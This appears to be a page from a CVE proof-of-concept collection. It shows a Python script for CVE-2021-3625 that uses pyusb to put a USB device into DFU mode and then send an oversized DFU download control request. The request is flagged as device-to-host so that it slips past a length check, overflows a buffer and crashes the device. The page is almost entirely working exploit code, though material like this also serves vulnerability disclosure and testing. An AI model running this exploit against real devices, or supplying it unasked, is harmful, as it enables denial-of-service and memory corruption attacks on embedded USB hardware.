4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / dfu_overflow.py PY
#!/usr/bin/python3

#
# CVE-2021-3625 POC
#
# DFU buffer overflow 
#
# https://www.usb.org/sites/default/files/DFU_1.1.pdf
#

import sys

import usb.core

# get the device
usbdev = usb.core.find(idVendor=0x2fe3, idProduct=0x0100)

DFU_DETACH = 0x00
DFU_DETACH_TIMEOUT = 0xff
DFU_DNLOAD = 0x01

bmRequestType = (1 << 7) | (1 << 5)
wValue = 0x00
wIndex = 0x00
length = 0xffff

# Need to switch to DFU mode
# First issue a detach command
try:
    data = usbdev.ctrl_transfer(bmRequestType, DFU_DETACH, DFU_DETACH_TIMEOUT, wIndex, 0)
except:
    pass

# Followed by a reset request
try:
    usbdev.reset()
except:
    pass

# Wait till device is switched to DFU mode
usbdev = None
while usbdev is None:
    usbdev = usb.core.find(idVendor=0x2fe3, idProduct=0xffff)

# Trigger DFU class handler overflow - bypass len check by use of direction to host
try:
    usbdev.ctrl_transfer(bmRequestType, DFU_DNLOAD, wValue, wIndex, length)
except usb.core.USBTimeoutError:
    print('Device is now crashed due to triggered buffer overflow')